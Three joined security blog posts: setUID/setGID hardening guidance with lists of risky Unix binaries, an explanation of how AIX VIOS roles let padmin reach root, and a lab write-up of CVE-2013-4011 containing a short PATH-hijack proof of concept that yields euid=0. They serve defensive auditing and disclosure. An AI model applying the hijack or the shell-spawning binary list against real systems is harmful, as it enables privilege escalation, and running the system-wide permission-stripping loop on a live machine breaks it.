SetUID and setGID files are inevitably a risk, potentially allowing attackers to elevate privileges to root from a basic user. When shared out on SMB or NFS shares they can spread the risk even further.

One good approach would be:

“The only good setUID is a chmod -s setuid” i.e. deactivate this particular functionality.

However, sysadmins may (understandably) get a bit wobbly when we suggest this and come up with a number of fairly valid reasons why this is tricky. They have a point to some extent, but this is 2017 and we should be biting some of these bullets.

Yes, reducing the risk in this area is tough, but it is in fact a good start in defining least privilege security controls. You can learn how little or how much power individual users require and manage this accordingly. You can also test your changes before rolling them out and sanity check the advice given.

At the very least we need a list of files that should not be setUID that we can give to sysadmins and, with confidence, recommend removing or changing the permissions. A pragmatic strategy for mitigating the risks incurred would also be good.

So what are they?

SetUID/setGID bits are file permissions set on binary files when we need them to run with the permissions of the owner (setUID) or the group (setGID) that owns the file, usually a root or equivalent user. Historically this functionality was entrenched in UNIX and Linux and was necessary, up to a point, for a system to function as intended.

Many vendors are now working toward eliminating the requirement for these permissions and UNIX based systems can be configured, with some care, not to use them.

We potentially have 3 categories of setUID and setGID files:

The “naughty” list

• May have become setUID by accident, installation of third-party software, malicious activity or sloppy coding and should almost certainly not be allowed
• tar, find, vi, etc
• Likely high risk to get root easily
• Epic fail -rwsrw-rw- More common than you would think
• Vendor supplied software often a culprit

The “remove” list

• Redundant, legacy or not really required to be setUID
• rcp, arping, etc
• Likely low risk but should be easy to remove

The “allowed” list

• OS may fail to function as expected if setUID is removed without care
• For example passwd, sudo
• Should be mitigated to minimise risks
• Many can be reclassified as 2 above and have the setUID bit removed

We report on categories 1 (naughty) and 2 (remove) scoring appropriate to the risk and ease of exploitation. We report on 3 (allowed) with recommendations to mitigate.

For example, a setUID on the find command (or any shell command with abilities to run other programs or shells) would be a high risk vulnerability allowing regular users to become root fairly easily.

How to deal with these issues?

The approach to recommend to customers:

1. Audit – find all setUID and setGID files on the system locally and on all filesystems not mounted nosetuid
2. Validate – elfsign and cross checks against vendor checksums
3. Eliminate where possible – uninstall, chmod -s or rm
4. Mitigate where necessary – FIM, auditing, remote logging, mount NAS nosetuid

This applies primarily to common Linux distributions. Solaris and AIX for example may have slightly different filenames and locations, but similar principles apply.

The ubiquitous sudo or other equivalent tools can be used to configure fine grained privilege management without the requirement for setUID permissions. Your version of sudo must be up to date, the sudoers configuration files must be secure and have a strictly limited set of commands allowed per user or group.

Customers need to consider how the remediation and mitigation steps fit within their overall strategies for user and privilege management alongside local and remote file permissions.

For example:

Do they have a good FIM solution and can they utilise remote logging as a mitigation? Do they wish to work at the standard build level and have a hardened standard build? If so, then maybe they’re in the right place to look at removing these permissions?

In particular File Integrity Monitoring, which should focus on the most vulnerable files on a system, should track any changes to the files with the setUID/setGID bit set. Any changes should be audited and remotely logged to ensure that an attacker cannot cover their tracks.

Other mitigation techniques include SELinux and other RBAC mechanisms on Linux, Trusted Execution and Trusted Computing Base on AIX and RBAC on Solaris.

More recent Linux kernels (starting 2.6.26) can make use of capabilities which provide fine-grained control over superuser permissions, allowing use of the root user to be avoided.

Sysadmins need some encouragement and support in both remediation and mitigation. If something unexpected does not work upon removing a setUID file permission, it is important to try to use that as a learning experience and a consequence of taking least privilege as far as possible.

At the very least tighten up your sudo configuration and remove as many setUIDs as you can.

Finding setUID and setGID files

# find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \;

Example output:

Here is a setUID file:

-rws--x--x. 1 root root 23960 Sep 23  2016 /usr/bin/chfn

And here is a setGID file:

-r-xr-sr-x. 1 root tty 15392 May  4  2014 /usr/bin/wall

Just for fun

Snapshot a VM of your favourite Linux distro and run the following command (this will break your system in odd ways, so never do it to a production system) and run the following commands:

# find / -type f -perm -u+s -exec ls -l {} \; |awk '{print $NF}'|grep -v proc > /var/tmp/setUID.lst
# find / -type f -perm -g+s -exec ls -l {} \; |awk '{print $NF}'|grep -v proc > /var/tmp/setGID.lst
# for a in `cat /var/tmp/setUID.lst`; do chmod u-s $a; done
# for a in `cat /var/tmp/setGID.lst`; do chmod g-s $a; done

See what breaks.

You can revert to the snapshot if your nerve does not hold.

You should be able to reboot the machine and log in as a normal user. After that you will discover the limitations you have imposed upon yourself and the operating system.

The lists (mid 2017) which are not exhaustive

N.B. PATHs to the files may vary…

The “naughty” list

• /usr/bin/awk
• /bin/tar
• /usr/bin/python
• /usr/bin/script
• /usr/bin/man
• /usr/bin/ssh
• /usr/bin/scp
• /usr/bin/git
• /usr/bin/find
• /usr/bin/gdb
• /usr/bin/pico
• /usr/bin/nano
• /usr/bin/zip
• /usr/bin/vi
• /usr/sbin/lsof
• /bin/cat
• /usr/bin/vim
• /usr/bin/gvim

The point with this list is that they should not really be setUID or setGID and they all have command options that could spawn a shell or otherwise engage in mischief.

The “remove” list

• /usr/bin/rcp
• /usr/bin/rlogin
• /usr/bin/rsh
• /usr/libexec/openssh/ssh-keysign
• /usr/lib/openssh/ssh-keysign
• /sbin/netreport
• /usr/sbin/usernetctl
• /usr/sbin/userisdnctl
• /usr/sbin/pppd
• /usr/bin/lockfile
• /usr/bin/mail-lock
• /usr/bin/mail-unlock
• /usr/bin/mail-touchlock
• /usr/bin/dotlockfile
• /usr/bin/arping
• /usr/sbin/uuidd
• /usr/bin/mtr
• /usr/lib/evolution/camel-lock-helper-1.2
• /usr/lib/pt_chown
• /usr/lib/eject/dmcrypt-get-device
• /usr/lib/mc/cons.saver

Consider removing as a good mitigation strategy.

Here’s some others that are usually installed setUID, however, on a hardened system they can usually have their setUID/setGID bits removed:

• /bin/mount
• /bin/umount
• /usr/bin/at
• /usr/bin/newgrp
• /usr/bin/ssh-agent
• /sbin/mount.nfs
• /sbin/umount.nfs
• /sbin/mount.nfs4
• /sbin/umount.nfs4
• /usr/bin/crontab
• /usr/bin/wall
• /usr/bin/write
• /usr/bin/screen
• /usr/bin/mlocate
• /usr/bin/chage
• /usr/bin/chfn
• /usr/bin/chsh
• /bin/fusermount
• /usr/bin/Xorg
• /usr/bin/X
• /usr/lib/dbus-1.0/dbus-daemon-launch-helper
• /usr/lib/vte/gnome-pty-helper
• /usr/lib/libvte9/gnome-pty-helper
• /usr/lib/libvte-2.90-9/gnome-pty-helper

The “allowed” list

• /bin/ping
• /bin/su
• /sbin/pam_timestamp_check
• /sbin/unix_chkpwd
• /usr/bin/gpasswd
• /usr/bin/locate
• /usr/bin/passwd
• /usr/libexec/utempter/utempter
• /usr/sbin/lockdev
• /usr/sbin/sendmail.sendmail
• /usr/bin/expiry
• /bin/ping6
• /usr/bin/traceroute6.iputils
• /usr/bin/pkexec
• /usr/bin/sudo
• /usr/bin/sudoedit
• /usr/sbin/postdrop
• /usr/sbin/postqueue
• /usr/sbin/suexec
• /usr/lib/squid/ncsa_auth
• /usr/lib/squid/pam_auth
• /usr/kerberos/bin/ksu
• /usr/sbin/ccreds_validate

Final words

It’s worth noting that we know these lists won’t work for everyone; systems are complex and behaviour is intertwined. That said, no matter what your opinion on the necessity or otherwise of a setUID/setGID bit on a given file, we’d like to think the approach of knowing which files have the setUID/setGID bit and why is something we can all get on board with.

Some good references

• Understand the setuid and setgid permissions to improve security
• Beware of empty paths
• Exploiting SUID Executables
• Capabilities – ArchWiki

The post UNIX and Linux setUID advice and guidance appeared first on Portcullis Labs.

Let’s start by defining what VIOS is. VIOS is a subsystem that runs on a logical partition (LPAR) which manages shared hardware such as disks and network adaptors and allows other LPARs to access them. VIOS is managed via a special padmin account which gives access to a restricted shell from where the hardware can be managed. In practice, however it’s just another AIX LPAR and as the blog post from IBM notes, setup_oem_env can be used to move from the padmin user to the root user.

Firstly, note that setup_oem_env is not setUID. So how does it work? Examining the padmin user we see that it has a single role (PAdmin):

The membership of a role is determined by /etc/security/user but we can examine a specific use using the rolelist command like so:

$ rolelist -u padmin
PAdmin

You can also find your current active role using the -e flag to rolelist. Moving on, what does the PAdmin role mean?

Roles are defined in /etc/security/role but as with role membership, we can also use shell commands to enumerate them. For example, the following shows what authorisations the PAdmin role has:

$ lsrole PAdmin
PAdmin
authorizations=vios.device,vios.fs,vios.install,vios.lvm,vios.network,vios.security,vios.system,vios.oemsetupenv,vios.system.cluster,aix.system.config.artex
rolelist= groups=staff visibility=1 screens=* dfltmsg= msgcat= auth_mode=INVOKER
id=23

In the context of getting root, vios.oemsetupenv is the charm. This and other AIX authorisations are defined in /etc/security/privcmds. It is possible to specify what commands the possessor of the vios.oemsetupenv authorisation can run (and indeed the privileges with which those commands will ultimately be executed).

You see, AIX like Solaris, is gradually getting rid of the concept that uid=0 is god. IBM haven’t taken this as far as Oracle yet but there’s nothing to stop a dedicated administrator from leveraging this functionality. So, if you’re auditing an AIX box, I would very much recommend checking what roles users have (via /etc/security/user) to ensure that no appropriate roles have been assigned.

PS I’ve never seen this used in practice (outside of VIOS), but I’m sure there will be a first time.
PPS rolelist -p will tell you what roles a given process has.
PPPS esaadmin has the SysConfig role but it’s not normally an active account.

The post padmin to root: Roles on AIX appeared first on Portcullis Labs.

The advisory concerned AIX (one of my favourite operating systems to pwn) and related to a potential privilege escalation vulnerability in AIX 6.1 and AIX 7.1′s ibstat command which has setUID root permissions set on it. The fact that it affects AIX 7.1 was particularly interesting because this is the most recent release.

It’s fair to say that there are a substantial number of such vulnerabilities in AIX 7.1 but my interest was peaked because it wasn’t one that we’d found.

To start with, I grabbed a copy of the efix and extracted it. You’ll notice that the tarball referenced within the advisory contains patches for all supported AIX releases which are delivered as compressed epkg files. It might not be immediately clear but these are actually just tarballs with some meta data describing the patched files. So let’s extract one and take a look:

$ tar xvf iv43580m2a.130619.epkg
x ./ecfile, 837 bytes, 2 media blocks.
...
x ./EFILE1, 47516 bytes, 93 media blocks.
x ./EFILE2, 17576 bytes, 35 media blocks.
...
$ cat ecfile
...
EFIX_FILE:
EFIX_FILE_NUM=1
...
TARGET_FILE=/usr/sbin/ibstat
...
EFIX_FILE:
EFIX_FILE_NUM=2
...
TARGET_FILE=/usr/sbin/arp.ib
...

I’ve stripped out the less interesting bits of ecfile but we can clearly see that this patches two files, /usr/sbin/ibstat and /usr/sbin/arp.ib.

So the next question is that have they actually changed? My first thought was to objdump the two binaries and compare the output. This should give us a clear idea of what libc function calls are being utilised (and thus what the vulnerability is likely to be) however they had been stripped of all symbols which would make this a long and tedious process. So what else can we do? Well, knowing what classes of vulnerability AIX commonly falls foul of, I figured there was a reasonable likelihood that the vulnerability pertained to some kind of command injection, so I ran strings across the vulnerable binary to see if it was possible in this case:

$ strings /usr/sbin/ibstat
@(#)23 1.5 src/bos/usr/ccs/lib/libpthreads/init.c, libpth, bos53H, h2006_10B1 3/5/06 21:33:24
...
ifconfig %s
...

It certainly looked like this was a possibility, however I wanted to be sure. My next step was to run strings across the new binary and compare the output. For this, I used kompare:

Commands that have been removed from the binary

Commands that have been added to the binary

Now we can quite clearly see what has changed. It appears that in the vulnerable binary certain system commands are called, without a fully qualified path. What does this mean? Well, unless the ibstat binary correctly sanitises the PATH environment variable when it is called then binaries such as arp etc will be called by ibstat from the first matching directory specified in PATH.

What this means is that we can provide our own malicious binaries in a location which we control and have them executed as root when we run the ibstat binary (as it has setUID root permissions set).

We can prove this as follows:

$ ls -l dummybin/
total 8
lrwxrwxrwx 1 user staff 8 Jul 20 09:59 arp -> ifconfig
-rwxr-xr-x 1 user staff 49 Jul 20 10:55 ifconfig
lrwxrwxrwx 1 user staff 8 Jul 20 09:59 lsattr -> ifconfig
$ cat dummybin/ifconfig
#!/bin/sh

echo $0
echo $1
echo $2
id
sleep 1000
$ PATH=/home/user/ibstat/dummybin:/usr/bin:/etc:/usr/sbin:/usr/ucb /usr/sbin/ibstat -a lo0

===============================================================================
IB INTERFACE ARP TABLE
===============================================================================
/home/user/ibstat/dummybin/arp
-t
ib
uid=208(user) gid=1(staff) euid=0(root)

And there you have it, euid=0 in under half an hour.

If you enjoyed this write up be sure to get yourself a ticket for 44CON where I will be presenting the next round of our more detailed research into modern POSIX alike OS, including how I uncovered potentially exploitable bugs in ~400 Debian GNU/Linux packages in a single day.

The post In the lab, popping CVE-2013-4011 for AIX 7.1… appeared first on Portcullis Labs.